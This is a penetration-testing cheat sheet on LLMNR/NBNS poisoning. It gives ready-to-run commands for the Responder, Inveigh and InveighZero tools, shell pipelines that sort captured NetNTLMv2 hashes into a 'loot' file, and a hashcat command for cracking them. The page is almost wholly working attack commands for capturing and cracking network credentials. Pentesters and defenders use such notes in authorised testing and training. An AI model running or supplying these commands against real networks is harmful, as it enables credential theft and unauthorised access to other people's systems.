> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/networks/l2/llmnr-nbns-poisoning.md).

# LLMNR / NBNS Poisoning

## Responder

* <https://github.com/SpiderLabs/Responder>
* <https://github.com/lgandx/Responder>
* <https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/>
* <https://markclayton.github.io/where-are-my-hashes-responder-observations.html>

Install:

```
$ git clone https://github.com/lgandx/Responder ~/tools/Responder && cd ~/tools/Responder
```

Run:

```
$ sudo ./Responder.py -I eth0 -Av
$ sudo ./Responder.py -I eth0 -wd -P -v
```

Parse, sort and save hashes:

```
# Users
$ cat logs/*.txt | grep -a . | grep -a -v -e 'logs/' -e '\$' | sort -u -t: -k1,1 > net-ntlmv2.responder
$ sort -u -t: -k1,1 net-ntlmv2.responder ~/ws/loot/net-ntlmv2.txt > t
$ mv t ~/ws/loot/net-ntlmv2.txt && rm net-ntlmv2.responder

# Machines
$ cat logs/*.txt | grep -a '\$' | sort -u -t: -k1,1
```

Monitor new hashes:

```
$ sudo inotifywait -rm /usr/share/responder/logs | grep NTLMv1
```

Crack:

```
$ hashcat -m 5600 -O -a 0 -w 3 --session=netntlmv2 -o net-ntlmv2.out net-ntlmv2.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule --username
```

## Inveigh

* <https://github.com/Kevin-Robertson/Inveigh>

```
PS > Invoke-Inveigh [-IP '10.10.13.37'] -ConsoleOutput Y -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y
```

## InveighZero

* <https://github.com/Kevin-Robertson/InveighZero>

```
PS > .\InveighZero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]
```